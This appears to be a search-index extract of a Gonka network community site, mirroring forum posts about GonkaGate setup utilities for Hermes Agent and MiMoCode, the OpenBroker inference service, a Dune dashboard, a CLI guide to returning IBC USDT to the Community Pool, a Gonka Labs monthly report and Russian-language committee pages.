"}, {"location": "community/discussion/show-and-tell/1141-ibc-usdt-withdrawal-guide/#3-a-kuprin", "title": "Комментарий 3 — @a-kuprin", "text": "2026-05-20 19:41 UTC
@paranjko BTW. I've used https://app.squidrouter.com to move KAVA IBC USDT, to ETH USDT directly. So it was just use keplr to move to KAVA and use squidrouter to move directly to ETH USDT
↳ Ответ от @GLiberman · 2026-05-20 20:48 UTC
Per SquidRouter calculator transaction takes around 17 minutes (which is significantly longer) plus looks like fees are a bit higher and I'm not sure that calculator shows correct final amount as there is extra exchange will take place: KAVA IBC USDT > Axelar USDT.
↳ Ответ от @a-kuprin · 2026-05-20 21:17 UTC
I think as it is looking for different routes it highly depend on a moment. When I've used it, it was no more than 1 minute to go through all transfers and final fee was ok. Anyway it is normal practice in bridge routers to look on different apps and decide what matches better at each moment
↳ Ответ от @rufatpro · 2026-07-08 13:45 UTC
@paranjko BTW. I've used https://app.squidrouter.com to move KAVA IBC USDT, to ETH USDT directly. So it was just use keplr to move to KAVA and use squidrouter to move directly to ETH USDT
Согласен, что это самый удобный способ вывода, вез всяких там газов и других танцов с бубном, но ликвидность там маленькая.
"}, {"location": "community/discussion/show-and-tell/1323-gonka-x-hermes-agent/", "title": "#1323 — Gonka x Hermes Agent", "text": "🔄 Auto-sync: from Discussion #1323 every hour.
"}, {"location": "community/discussion/show-and-tell/1323-gonka-x-hermes-agent/#gonka-x-hermes-agent", "title": "Gonka x Hermes Agent", "text": "Автор: @Dankosik · Категория: Show and Tell · Создано: 2026-06-08 16:12 UTC · Обновлено: 2026-06-08 16:12 UTC
"}, {"location": "community/discussion/show-and-tell/1323-gonka-x-hermes-agent/#_1", "title": "📝 Описание", "text": ""}, {"location": "community/discussion/show-and-tell/1323-gonka-x-hermes-agent/#gonkagate-x-hermes-agent", "title": "GonkaGate x Hermes Agent", "text": "Set up local hermes-agent to use GonkaGate:
npx @gonkagate/hermes-agent-setup\nIf you use Hermes Agent and have a GonkaGate API key, this should be a short setup step, not a manual edit of ~/.hermes/config.yaml and ~/.hermes/.env.
The utility configures Hermes through the supported provider: custom path, stores the raw key in Hermes' .env, and only offers models that are live on GonkaGate and launch-qualified for Hermes.
hermes-agent installedv2026.5.16 / v0.14.0 or newer>=22.14.0Public onboarding follows current GonkaGate Terms availability rules. It is not intended for users or entities in the United States of America or U.S. territories.
"}, {"location": "community/discussion/show-and-tell/1323-gonka-x-hermes-agent/#run", "title": "Run", "text": "Default interactive setup:
npx @gonkagate/hermes-agent-setup\nSpecific Hermes profile:
npx @gonkagate/hermes-agent-setup --profile work\nAfter setup:
hermes\nOptional real-request smoke test:
hermes chat -Q --max-turns 1 -q \"Do not use tools. Reply exactly: GonkaGate smoke test OK\"\nThe utility prints that smoke test at the end, but does not run it automatically. It sends one real model request.
"}, {"location": "community/discussion/show-and-tell/1323-gonka-x-hermes-agent/#what-it-writes", "title": "What it writes", "text": "The utility resolves the active Hermes config paths with Hermes itself. With --profile, it uses the profile-specific paths.
It writes:
~/.hermes/config.yaml~/.hermes/.envThe managed config shape is:
model:\n provider: custom\n base_url: https://api.gonkagate.com/v1\n default: <selected-model>\n api_key: ${GONKAGATE_API_KEY}\nThe raw key is stored in .env:
GONKAGATE_API_KEY=gp-...\nThe raw key is not written to config.yaml. The utility also avoids taking over unrelated OPENAI_API_KEY usage.
config.yaml and .env paths.config.yaml, .env, auth.json, and Hermes job state.GET https://api.gonkagate.com/v1/models.config.yaml, then write .env.config.yaml if the .env write fails.The utility does not accept a plain --api-key flag, so the key does not land in shell history or process lists.
Models are not guessed from the live catalog alone. A model must be:
/v1/modelsCurrent allowlist:
moonshotai/kimi-k2.6 (recommended default)minimaxai/minimax-m2.7qwen/qwen3-235b-a22b-instruct-2507-fp8Live-only models are ignored. Artifact-only models that are no longer live are ignored too.
"}, {"location": "community/discussion/show-and-tell/1323-gonka-x-hermes-agent/#what-v1models-proves", "title": "What/v1/models proves", "text": "The setup request proves:
It does not prove:
Use the optional hermes chat smoke test when you want runtime proof.
@gonkagate/hermes-agent-setupnpx @gonkagate/hermes-agent-setuphermes-agent-setupprovider: customhttps://api.gonkagate.com/v1model.provider, model.base_url, model.default, model.api_keyGONKAGATE_API_KEYThis is not a general Hermes installer. It does not:
hermes setupv2026.5.16 / v0.14.0OPENAI_BASE_URL, LLM_MODEL, root-level provider / base_url, or legacy custom_providersauth.json credential pools.env files/v1/models proves billing, quota, or first-request readiness🔄 Auto-sync: from Discussion #1339 every hour.
"}, {"location": "community/discussion/show-and-tell/1339-gonka-x-mimocode/#gonka-x-mimocode", "title": "Gonka x MiMoCode", "text": "Автор: @Dankosik · Категория: Show and Tell · Создано: 2026-06-12 00:29 UTC · Обновлено: 2026-06-12 00:29 UTC
"}, {"location": "community/discussion/show-and-tell/1339-gonka-x-mimocode/#_1", "title": "📝 Описание", "text": ""}, {"location": "community/discussion/show-and-tell/1339-gonka-x-mimocode/#gonkagate-x-mimocode", "title": "GonkaGate x MiMoCode", "text": "npx @gonkagate/mimo-code-setup\nUse this package when you already have mimo installed and want GonkaGate configured as a MiMoCode custom provider without editing config files by hand.
After setup, keep using plain mimo.
@gonkagate/mimo-code-setup Command npx @gonkagate/mimo-code-setup Target CLI mimo Provider id gonkagate Base URL https://api.gonkagate.com/v1 Model catalog GET https://api.gonkagate.com/v1/models Current transport chat_completions Audited MiMoCode baseline @mimo-ai/cli 0.1.0, checked on June 11, 2026"}, {"location": "community/discussion/show-and-tell/1339-gonka-x-mimocode/#quick-start", "title": "Quick start", "text": "Interactive setup:
npx @gonkagate/mimo-code-setup\nProject scope with non-interactive defaults:
npx @gonkagate/mimo-code-setup --scope project --yes\nRead the API key from stdin:
printf '%s' \"$GONKAGATE_API_KEY\" | npx @gonkagate/mimo-code-setup --api-key-stdin --scope project --yes --json\nPin the model explicitly:
npx @gonkagate/mimo-code-setup --model moonshotai/kimi-k2.6 --scope user\nThen run:
mimo\nmimo on PATH MiMoCode version @mimo-ai/cli 0.1.0 Node.js >=22.14.0 API key GonkaGate gp-... key OS macOS, Linux, native Windows, or WSL The installer stops on MiMoCode versions older than 0.1.0. It also blocks newer MiMoCode versions until this setup package has been audited against that upstream version.
gp-... key from a hidden prompt, GONKAGATE_API_KEY, or stdin./v1/models.provider.gonkagate.The installer uses MiMoCode's resolved paths. It does not assume a single global config filename.
Layer Path What it contains Commit-safe Existing global configmimocode.jsonc, mimocode.json, or config.json provider.gonkagate; model and small_model for user scope No, user-local New global config mimocode.jsonc Created only when no global config exists No, user-local Project config .mimocode/mimocode.json model and small_model for project scope Yes Secret file ~/.gonkagate/mimo-code/api-key Raw GonkaGate API key No Install state ~/.gonkagate/mimo-code/install-state.json Last durable setup metadata No Backups ~/.gonkagate/mimo-code/backups Managed-write rollback files No For project scope, the repository-local config only selects the model:
{\n \"model\": \"gonkagate/moonshotai/kimi-k2.6\",\n \"small_model\": \"gonkagate/moonshotai/kimi-k2.6\"\n}\nThat file does not contain the raw API key or the path to the secret file.
"}, {"location": "community/discussion/show-and-tell/1339-gonka-x-mimocode/#scope-behavior", "title": "Scope behavior", "text": "Scope User-level config Project configuser Provider definition, API-key binding, model, small_model Not written project Provider definition and API-key binding model, small_model only The secret binding always stays in user-level config:
provider.gonkagate.options.apiKey = {file:~/.gonkagate/mimo-code/api-key}\nThe user-level provider entry includes the SDK package, base URL, file-backed API-key reference, cache-key setting, and the model map generated from /v1/models:
{\n \"provider\": {\n \"gonkagate\": {\n \"npm\": \"@ai-sdk/openai-compatible\",\n \"name\": \"GonkaGate\",\n \"options\": {\n \"baseURL\": \"https://api.gonkagate.com/v1\",\n \"apiKey\": \"{file:~/.gonkagate/mimo-code/api-key}\",\n \"setCacheKey\": false,\n },\n \"models\": {\n \"<model-id-from-/v1/models>\": {\n \"name\": \"<model-id-from-/v1/models>\",\n \"limit\": {\n \"context\": 0,\n \"output\": 0,\n },\n },\n },\n },\n },\n}\nmimo --version. 2 Resolve MiMoCode config paths. 3 Read the GonkaGate key from a hidden prompt, GONKAGATE_API_KEY, or stdin. 4 Call GET https://api.gonkagate.com/v1/models. 5 Build provider.gonkagate.models from the catalog response. 6 Ask for user or project scope. 7 Write ~/.gonkagate/mimo-code/api-key. 8 Create backups, then write the managed config layers. 9 Verify the durable config that MiMoCode resolves. 10 Verify provider/model visibility with mimo models gonkagate. 11 Check active override layers such as MIMOCODE_CONFIG_CONTENT. Setup only succeeds when MiMoCode's resolved config matches the expected GonkaGate provider, model, base URL, transport, and API-key binding.
The installer captures mimo --pure debug config internally, but it never prints raw resolved config. That output can include substituted secret values.
The model picker is not hardcoded. It comes from the authenticated GonkaGate catalog request:
GET https://api.gonkagate.com/v1/models\nAuthorization: Bearer gp-...\nEvery returned model id becomes a key under provider.gonkagate.models.
Use the full GonkaGate slug in MiMoCode model refs. For Kimi:
gonkagate/moonshotai/kimi-k2.6\nDo not shorten it to:
gonkagate/kimi-k2.6\nMiMoCode treats the first path segment as the provider id and passes the rest as the model id.
Current MiMoCode workflow validation exists for:
moonshotai/kimi-k2.6\nOther models can still appear in the picker when GonkaGate returns them. Catalog availability and MiMoCode workflow validation are separate claims.
"}, {"location": "community/discussion/show-and-tell/1339-gonka-x-mimocode/#what-v1models-proves", "title": "What/v1/models proves", "text": "Claim Status The API key works for GET /v1/models Proved GonkaGate returned a model list Proved The installer can build the MiMoCode model map Proved Every returned model has full MiMoCode workflow validation Not proved Billing or quota is ready for the first chat request Not proved /v1/responses is supported Not proved Use mimo after setup to test the actual coding workflow.
The installer fails closed. It reports a blocker instead of leaving behind a silent partial setup when:
Blocker Resultmimo is missing Stop before writing config MiMoCode is older or newer than the audited baseline Stop before writing config The API key is missing or invalid Stop before writing config /v1/models is unavailable Stop before writing config A managed write fails Roll back managed writes where possible Effective MiMoCode config does not match the written config Roll back managed writes Setup would put the secret binding in project config Block setup Current shell overrides hide the durable config Report a current-session blocker"}, {"location": "community/discussion/show-and-tell/1339-gonka-x-mimocode/#current-contract", "title": "Current contract", "text": "Contract Value Package @gonkagate/mimo-code-setup Public command npx @gonkagate/mimo-code-setup Installed bin mimo-code-setup Legacy bin gonkagate-mimo-code Target CLI mimo Target upstream package @mimo-ai/cli Audited MiMoCode baseline 0.1.0, checked on June 11, 2026 Provider id gonkagate Provider package @ai-sdk/openai-compatible Transport target chat_completions Base URL https://api.gonkagate.com/v1 Model catalog GET https://api.gonkagate.com/v1/models Managed secret binding provider.gonkagate.options.apiKey = {file:~/.gonkagate/mimo-code/api-key} Managed cache-key setting provider.gonkagate.options.setCacheKey = false"}, {"location": "community/discussion/show-and-tell/1339-gonka-x-mimocode/#non-goals", "title": "Non-goals", "text": "This package does not:
--api-key flag.env filesauth.json in v1/v1/responses support before an explicit migration@gonkagate/mimo-code-setup README README How it works docs/how-it-works.md Security notes docs/security.md Model validation docs/model-validation.md Troubleshooting docs/troubleshooting.md GonkaGate docs gonkagate.com/en/docs"}, {"location": "community/discussion/show-and-tell/1363-openbroker-broker-for-brokers-or-devshards-as-a-service/", "title": "#1363 — OpenBroker - broker for brokers or Devshards as a service.", "text": "🔄 Auto-sync: from Discussion #1363 every hour.
"}, {"location": "community/discussion/show-and-tell/1363-openbroker-broker-for-brokers-or-devshards-as-a-service/#openbroker-broker-for-brokers-or-devshards-as-a-service", "title": "OpenBroker - broker for brokers or Devshards as a service.", "text": "Автор: @gonkalabs · Категория: Show and Tell · Создано: 2026-06-23 22:18 UTC · Обновлено: 2026-07-09 04:25 UTC
"}, {"location": "community/discussion/show-and-tell/1363-openbroker-broker-for-brokers-or-devshards-as-a-service/#_1", "title": "📝 Описание", "text": "Hey! Gonka Labs here.
We've just shipped OpenBroker, a platform that gives you direct access to gonka inference - pure devshards v1, v2 (and any future version) under wallet that is whitelisted to operate escrows. You get escrow capacity that scales elastically with your load, both devshard versions (and any future one), and throughput limited only by what the network itself can handle.
With OpenBroker - we make a community commitment to the overall observability and monitoring (Protocol-grade observability).
OpenBroker doubles as a live testbed where new devshard versions get exercised at production scale before they reach the wider network, and the observanility metrics we collect goes straight back to the protocol's contributors that we in-touch with to keep improving Gonka.
Full observability means that per-request metrics, public network stats and QOL inference metrics - are part of the product, not an afterthought. We work directly with the protocol's contributors to feed back the statistics, failure modes and performance data we see at real scale, so Gonka keeps getting better. It's also the environment where new devshard versions get shaken out at production load before they ship to everyone. If you've been using node4 to prototype or create your own Broker business and test against Gonka, OpenBroker is the next logical step and same \"just hit an endpoint and go\" experience, no diffrence (except that you can enroll and get access right away) - with bigger capacity, real telemetry, and both protocol versions available out of the box, all in a managed environment.
Running inference on Gonka today means either:
node4 node4 (whitelisted, rate-limited, built for demos not production), orSo, if you want to become a broker, you need to get whitelisted for escrow operations or get broker key and connect to node4.
Either way makes it very hard for new brokers to start operating, raising the bar and lowering potential inference demand.
"}, {"location": "community/discussion/show-and-tell/1363-openbroker-broker-for-brokers-or-devshards-as-a-service/#the-solution", "title": "The Solution", "text": "OpenBroker is \"a few devshard containers (v1, v2) + many escrows\" system that sits in front of the Gonka network and exposes a plain devshard infra with our whitelisted wallet. Just as inteded to be used by brokers, but without need to whitelist a wallet or enroll to get a broker key.
From the broker's side:
gonka1… wallet.obk-*) from the dashboard.https://openbroker.gonka.gg/v1\nThat's it. /v1/chat/completions, /v1/models, streaming + non-streaming, no rate limits, pure devshards.
We've load-tested OpenBroker past 1,000,000,000 (1 billion) tokens in a single run (a little over 1 hour total test run time) across Qwen, MiniMax and Kimi models - no node4 fallback, escrows auto-rotating, v1/v2 traffic split live. Production-grade throughput is the goal.
"}, {"location": "community/discussion/show-and-tell/1363-openbroker-broker-for-brokers-or-devshards-as-a-service/#links", "title": "Links", "text": "Would love feedback, feature requests, and bug reports. If you build something on top of OpenBroker, drop it in this thread 🙌
"}, {"location": "community/discussion/show-and-tell/1363-openbroker-broker-for-brokers-or-devshards-as-a-service/#1", "title": "💬 Комментарии (1)", "text": ""}, {"location": "community/discussion/show-and-tell/1363-openbroker-broker-for-brokers-or-devshards-as-a-service/#1-yuritsin-code", "title": "Комментарий 1 — @yuritsin-code", "text": "2026-07-09 04:25 UTC
Hi @gonkalabs team (cc @tcharchian, @qdanik),
I've been testing OpenBroker (api.openbroker.gonka.gg/v1) with MiniMaxAI/MiniMax-M2.7 (same account/wallet as allowlist request #1397) and found two effects that block production use:
Effect A: fixed ~10s overhead per request. p50 latency is 10.0s for both 100-token and 1623-token prompts — flat, not proportional to size; consistent with an on-chain escrow cycle (~2 blocks × ~5s). Impact: a 30-turn agent pays +5 min of pure overhead.
Effect B: hard prompt-size ceiling at ~1623–1780 prompt_tokens. ≤1623 tokens: stable success. ≥~1780 tokens: the request hangs forever (240s client timeout not enough). 100% reproducible, 7+ tests on each side. Not byte-based — an 8.6KB body with 1523 tokens passes fine.
Questions: (1) is the 10s overhead expected escrow behavior, or optimizable (pooled escrow)? (2) is the token ceiling a known limit, and is there a workaround? (3) are the hanging requests billed (did their escrows execute)? (4) minor: /v1/models returns an empty list — supported model ids are only discoverable via the 400 error text.
Full methodology and raw measurements available on request. Tested 2026-07-08/09.
"}, {"location": "community/discussion/show-and-tell/1374-gonka-ai-dune-dashboard/", "title": "#1374 — Gonka AI Dune Dashboard", "text": "🔄 Auto-sync: from Discussion #1374 every hour.
"}, {"location": "community/discussion/show-and-tell/1374-gonka-ai-dune-dashboard/#gonka-ai-dune-dashboard", "title": "Gonka AI Dune Dashboard", "text": "Автор: @genkisudo · Категория: Show and Tell · Создано: 2026-06-29 13:30 UTC · Обновлено: 2026-06-29 13:31 UTC
"}, {"location": "community/discussion/show-and-tell/1374-gonka-ai-dune-dashboard/#_1", "title": "📝 Описание", "text": "Dune is the #1 data platform in crypto with over 1 million users, so having a dashboard there will be highly beneficial for visibility.
The smart contract 0x972a7a92d92796a98801a8818bcf91f1648f2f68 has been decoded into structured tables on Dune, making it much easier to query via SQL, build custom dashboards, and verify the data.
Created a dashboard with core metrics from the API (number of developers, nodes, etc.) and on-chain data for WGNK token bridges from the Ethereum network. It uses the decoded tables to track mints, burns, token holders, and the unique wallets bridging WGNK from Ethereum to the Gonka network.
Link: https://dune.com/blockchain_explorators/gonka-ai
"}, {"location": "community/discussion/show-and-tell/1374-gonka-ai-dune-dashboard/#1", "title": "💬 Комментарии (1)", "text": ""}, {"location": "community/discussion/show-and-tell/1374-gonka-ai-dune-dashboard/#1-genkisudo", "title": "Комментарий 1 — @genkisudo", "text": "2026-06-29 13:31 UTC
Any feedback would be appreciated.
"}, {"location": "community/discussion/show-and-tell/1390-how-to-return-funds-to-the-community-pool-ibc-usdt/", "title": "#1390 — How to return funds to the Community Pool (IBC USDT)", "text": "🔄 Auto-sync: from Discussion #1390 every hour.
"}, {"location": "community/discussion/show-and-tell/1390-how-to-return-funds-to-the-community-pool-ibc-usdt/#how-to-return-funds-to-the-community-pool-ibc-usdt", "title": "How to return funds to the Community Pool (IBC USDT)", "text": "Автор: @paranjko · Категория: Show and Tell · Создано: 2026-07-03 04:52 UTC · Обновлено: 2026-07-03 04:52 UTC
"}, {"location": "community/discussion/show-and-tell/1390-how-to-return-funds-to-the-community-pool-ibc-usdt/#_1", "title": "📝 Описание", "text": "A while back I was helping the DeAI Nation folks with their proposal. Their event ended up being cancelled, and to their credit they decided to do the right thing and return the granted funds to the Community Pool.
Turns out there was no guide for that. The tricky part: their grant was paid out through a governance proposal, and USDT on Gonka comes out of the USDT treasury contract — there is no way to simply send it back into that contract. So where do the funds go? The answer is the Community Pool via fund-community-pool (note that a plain bank send to the distribution module address will not credit the pool either). We figured it out about a month ago, and I finally found the time to write it down properly.
Sharing the instruction below in case anyone else ever needs it. Hopefully returning funds in cases like this stays the norm in our network.
By the way, check out their DeAI Dashboard: they track decentralized AI networks side by side, Gonka included!
"}, {"location": "community/discussion/show-and-tell/1390-how-to-return-funds-to-the-community-pool-ibc-usdt/#returning-ibc-usdt-to-the-gonka-community-pool", "title": "Returning IBC USDT to the Gonka Community Pool", "text": "These instructions are for returning IBC USDT funds (originally received via governance proposal) back to the Gonka community pool.
Public Endpoints: - RPC: https://node3.gonka.ai/chain-rpc/ - API: https://node3.gonka.ai/chain-api/
First, confirm that your wallet holds the IBC USDT funds:
curl https://node3.gonka.ai/chain-api/cosmos/bank/v1beta1/balances/<YOUR_GONKA_ADDRESS>\nLook for a balance with the denom:
ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\nThe amount shown is in micro-USDT (6 decimal places). For example, 1000000 = 1 USDT.
Important: Before returning the full amount, test the flow with a small amount first.
Chain behavior, CLI syntax, endpoints, gas settings, and wallet support may change over time. Send a small test transaction, verify that it appears in the Community Pool, and only then return the remaining funds.
Use the inferenced CLI to send the funds to the community pool:
inferenced tx distribution fund-community-pool \\\n <AMOUNT>ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4 \\\n --from <YOUR_KEY_NAME_OR_ADDRESS> \\\n --chain-id gonka-mainnet \\\n --node https://node3.gonka.ai/chain-rpc/ \\\n --gas auto \\\n --gas-adjustment 1.4 \\\n --gas-prices 0.025ngonka \\\n -y\nReplace:
<AMOUNT> — the exact amount in micro-USDT (e.g. 5000000 for 5 USDT)<YOUR_KEY_NAME_OR_ADDRESS> — your local key name or full gonka1... addressNote: you need a small amount of ngonka in your wallet to pay for gas fees.
After the transaction is confirmed, verify that the USDT balance in the community pool increased:
curl https://node3.gonka.ai/chain-api/cosmos/distribution/v1beta1/community_pool\nExpected response — the IBC USDT amount should have increased by the amount you sent:
{\n \"pool\": [\n {\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"amount\": \"<UPDATED_POOL_AMOUNT>.000000000000000000\"\n },\n {\n \"denom\": \"ngonka\",\n \"amount\": \"<CURRENT_NGONKA_POOL_AMOUNT>\"\n }\n ]\n}\nTip: run the same query before sending to note the starting pool balance, so you can confirm the increase.
"}, {"location": "community/discussion/show-and-tell/1390-how-to-return-funds-to-the-community-pool-ibc-usdt/#notes", "title": "Notes", "text": "fund-community-pool transaction is irreversible — once sent, the funds are in the community pool and can only be spent via a governance proposal.gonka1jv65s3grqf6v6jl3dp4t6c9t9rk99cd8h2rzwa) with a regular bank transfer — that will not credit the community pool. Always use fund-community-pool.inferenced binary, you can use any Cosmos-compatible wallet (e.g. Keplr with a custom chain configured for gonka-mainnet) to construct and sign the MsgFundCommunityPool transaction.🔄 Auto-sync: from Discussion #1476 every hour.
"}, {"location": "community/discussion/show-and-tell/1476-unposted/#unposted", "title": "unposted", "text": "Автор: @nsvdev · Категория: Show and Tell · Создано: 2026-07-18 18:27 UTC · Обновлено: 2026-07-18 18:31 UTC
"}, {"location": "community/discussion/show-and-tell/1476-unposted/#_1", "title": "📝 Описание", "text": "(пусто)
"}, {"location": "community/discussion/show-and-tell/1477-gonka-labs-monthly-report-no1/", "title": "#1477 — Gonka Labs - Monthly Report No.1", "text": "🔄 Auto-sync: from Discussion #1477 every hour.
"}, {"location": "community/discussion/show-and-tell/1477-gonka-labs-monthly-report-no1/#gonka-labs-monthly-report-no1", "title": "Gonka Labs - Monthly Report No.1", "text": "Автор: @gonkalabs · Категория: Show and Tell · Создано: 2026-07-18 18:31 UTC · Обновлено: 2026-07-18 18:31 UTC
"}, {"location": "community/discussion/show-and-tell/1477-gonka-labs-monthly-report-no1/#_1", "title": "📝 Описание", "text": ""}, {"location": "community/discussion/show-and-tell/1477-gonka-labs-monthly-report-no1/#_2", "title": "#1477 — Gonka Labs - Monthly Report No.1", "text": "Hey! Gonka Labs here.
On June 12th the community passed Proposal #74. That vote funded the next stretch of work - infra, ops, and shipping products for the ecosystem.
This is the first public progress report we promised in the proposal (monthly updates on GitHub Discussions). Short version of what landed so far:
We already announced the launch here: OpenBroker - broker for brokers or Devshards as a service (Jun 23).
Quick recap: OpenBroker is managed DevShards-as-a-service. Register, deposit GNK, get an obk-* key, point any OpenAI client at https://api.openbroker.gonka.gg/v1 (UI at https://openbroker.gonka.gg). No wallet whitelist dance, no running your own escrow rotation. GNK billing with no markup. Public stats at https://openbroker.gonka.gg/stats.
mainnet-v0.2.13-v3-post1, route prefix /devshard/v3, 50/50 sticky split behind the router. OpenBroker was already on the v1/v2 path at launch; we completed the network-mandated v3 cutover ahead of the v0.2.14 deadline so brokers do not fall off when classic /v1/devshard goes awayGET /v1/usage and GET /v1/usage/{id} so integrators can pull request-level cost/token data without scraping the UIThanks for the sharp measurements. Where we landed so far:
GET /v1/usage/{id} so you can see whether a request settled, what tokens/cost we recorded, and the FinalCost snapshot when the gateway returns it/v1/models /v1/models /v1/models - still on the polish list (model ids are also in docs / 400 text); not blocking chat completionsOpenBroker is also doing what the launch post promised: shake out new DevShard versions at production scale. v3 on our gateways was exactly that - migrate, smoke /devshard/v3, keep MiniMax brokers online through the cutover.
Links:
Pulse is the live media + sentiment dashboard for Gonka (see it as a backbone and a part of proposal item named MTD / Marketing Transparency Dashboard - we shipped essential part that does data gathering first). It pulls public Gonka coverage from X, Instagram, YouTube, and the web into one place, scores tone via Gonka LLMs (proxy.gonka.gg), and shows activity / reach / engagement next to GNK market data. Built so anyone can see what the ecosystem is saying without opening ten tabs.
Live: https://pulse.gonka.gg
"}, {"location": "community/discussion/show-and-tell/1477-gonka-labs-monthly-report-no1/#what-shipped", "title": "What shipped", "text": "Proposal #74 called out demand activation and making Gonka easier to follow for non-technical users. Pulse is a part of that \"transparency layer\" - a public pulse of coverage, tone, and creators, wired into gonka.gg and backed by Networks collective inference stack.
"}, {"location": "community/discussion/show-and-tell/1477-gonka-labs-monthly-report-no1/#3-gonkagg-bugs-product-work", "title": "3. gonka.gg - bugs + product work", "text": "Explorer side of the proposal was \"gonka.gg V2.0\" - faster engine, better UI, mobile, accurate GPU/inference metrics. We are not done with that part of roadmap yet, but a lot of the painful day-to-day stuff is already fixed and several new surfaces shipped.
"}, {"location": "community/discussion/show-and-tell/1477-gonka-labs-monthly-report-no1/#qa-bug-smash-240", "title": "QA bug smash (~240)", "text": "We ran a dedicated desktop + mobile QA pass with an external unbiased audit, and closed on the order of ~240 tracker bugs (desktop tracker version into the 170s, mobile into the 60s - still an ongoing flow since we ship new features that are getting QA tested as well).
Rough shape of what that covered:
Shipped across a long streak of QA PRs and multiple levels of sanity checks. Not glamorous, but this is the difference between \"works for some people\" and \"works for 70% of 10k+ people a day on phones\".
"}, {"location": "community/discussion/show-and-tell/1477-gonka-labs-monthly-report-no1/#product-data-updates-on-gonkagg-since-the-vote", "title": "Product / data updates on gonka.gg (since the vote)", "text": "Inference after DevShards (v0.2.12+)
devshard-poller that ingests off-chain session diffs into ClickHouse (the chain no longer emits per-inference txs the old way) and is properly aligned with V3 flow, and is optimized to not make heavy load for the network (overall produced load caused by data ingestion went down X27k)./network/inference (Inference tab) is driven from that pipeline - 24h stats, gateway traffic, timelines./devshard/v3 and union live shard inventories so traffic does not silently drop when gateways switch).Network analytics
/network - weight distribution across AI models per epoch, with an all-epochs view (Redis-cached so it stays fast).Token holders
Infra behind the explorer (also see section 4)
Explorer: https://gonka.gg Inference: https://gonka.gg/network/inference Network: https://gonka.gg/network
"}, {"location": "community/discussion/show-and-tell/1477-gonka-labs-monthly-report-no1/#why-it-matters", "title": "Why it matters", "text": "Faster deploys, less risk of a bugfix taking down indexing, room to run the heavier pre-compute work from the V2 explorer roadmap.
"}, {"location": "community/discussion/show-and-tell/1477-gonka-labs-monthly-report-no1/#4-proxygonkagg-b2b-inference-public-status", "title": "4. proxy.gonka.gg - B2B inference + public status", "text": "proxy.gonka.gg is our OpenAI-compatible inference proxy on top of Gonka DevShards - API keys, balances, usage, docs, chat playground. Public API at https://api.proxy.gonka.gg/v1. Pulse (and other Gonka Labs apps) call the same stack for LLM work, so when we harden the proxy we harden half the product surface too.
"}, {"location": "community/discussion/show-and-tell/1477-gonka-labs-monthly-report-no1/#numbers-as-of-jul-18_1", "title": "Numbers (as of Jul 18)", "text": "Measured window below is since the Jul 4 dedicated-server migrate (usage DB moved with the stack - earlier Railway and even earlier Qupra DC history is not in this series). The product itself was already live before Proposal #74.
api.proxy.gonka.gg) - moved off the flaky VPS / and too unreliable Railway path onto a tuned server with local Postgres, own DevShard gateway, Proxy edge for the API. Frontend stays on other host at proxy.gonka.gg with rewrites into the API.mainnet-v0.2.13-v3-post1, route /devshard/v3) ahead of the network v0.2.14 deadline - blue/green cutover with a temp gateway + drain so in-flight MiniMax traffic survived the switch. Currently 32+32 (64 inflight escrows) active v3 escrows (MiniMax + Kimi)Proposal #74 called out proxy.gonka.gg as the B2B / analytics lane. This stretch was less \"new landing page\" and more \"make the pipe carry real load\": multi-billion token days, a public status surface customers can trust, and staying on the current DevShard protocol so keys do not die when classic /v1/devshard goes away. Same gateway lessons feed OpenBroker - one network path. More \"b2b\" work ahead.
Links:
We are still heads-down on the rest of the Proposal #74 checklist - hardening infra under real load, polishing what already shipped, and building the next products on the list. More updates as they land. Stay tuned.
"}, {"location": "community/discussion/show-and-tell/1477-gonka-labs-monthly-report-no1/#links", "title": "Links", "text": "Feedback welcome in the thread - what should we prioritize next month from the proposal list?
"}, {"location": "community/go-to-market%20committee/", "title": "Go-to-Market Committee", "text": "Комитет помогает развивать go-to-market-направление сети: от формулирования задач для внешних исполнителей и координации с ними — до оценки маркетинговых пропозалов, проверки экспертизы команд и контроля качества исполнения.
"}, {"location": "community/go-to-market%20committee/#_1", "title": "Как работает комитет", "text": "По сильным и полезным инициативам комитет помогает:
К текущему моменту комитет рассмотрел все недавно обсуждавшиеся proposals, которые потенциально могут поступить в сеть. Итоги рассмотрения будут опубликованы позже.
"}, {"location": "community/go-to-market%20committee/#_5", "title": "Активные члены", "text": "К следующим членам комитета можно приходить с вопросами и предложениями-пропозалами:
В состав комитета входят опытные CMO в продуктовой и web3-сферах, B2B-биздевы, журналисты и другие профессионалы.
Любой хост может присоединиться в качестве наблюдателя и, возможно, участника-консультанта — для этого нужно написать @vkatsman.
📋 Полный состав комитета и подробные профили
"}, {"location": "community/go-to-market%20committee/members/", "title": "Go-to-market committee: состав и экспертиза", "text": ""}, {"location": "community/go-to-market%20committee/members/#viktor-katsman", "title": "Viktor Katsman", "text": "Telegram: @vkatsman
Ex-Yandex, PhD; специалист по go-to-market технических продуктов на ранних стадиях в AI, EdTech и финансах
Ключевая экспертиза:
Telegram: @arsenm1
10+ лет в маркетинге, из них 7+ в web3; в крипте с начала 2017 года — на уровне CMO для десятков финтех-, web3- и AI-продуктов
Ключевая экспертиза:
Telegram: @andre_arkhi
Отвечает за контент и маркетинг в Ancapex, сервисе майнинга для Gonka
Ключевая экспертиза:
Telegram: @telega1547
Сооснователь Gonka24, сервиса-брокера инференса Gonka
Ключевая экспертиза:
Telegram: @empro3
PhD track в США по business economics and finance; фокус – corporate governance
Ключевая экспертиза:
Telegram: @MageDeFi
Операционный директор в пуле Gonka.Top
Ключевая экспертиза:
Telegram: @lexti
По образованию – инженер по качеству в автомобилестроении; 5 лет работал в automotive quality на заводе Hyundai
Ключевая экспертиза:
Telegram: @maksimenkoff
В Gonka с октября; получил первый в сети bounty за найденную уязвимость
Ключевая экспертиза:
Telegram: @pavelp221
Журналист и редактор Gonka Community Blog
Ключевая экспертиза:
Telegram: @akamitch
Более 20 лет опыта в администрировании серверов и высоконагруженных систем
Ключевая экспертиза:
Продуктовый комитет помогает хостам оценивать ценность, риски и roadmap-соответствие пропозалов.
"}, {"location": "community/gonka%20product%20committee/#_2", "title": "Назначение", "text": "Продуктовый комитет помогает голосующим хостам не пропустить ценные пропозалы и вовремя обратить внимание на потенциально опасные для сети инициативы.
Решения комитета носят рекомендательный характер. Комитет не обещает реагировать на все пропозалы подряд.
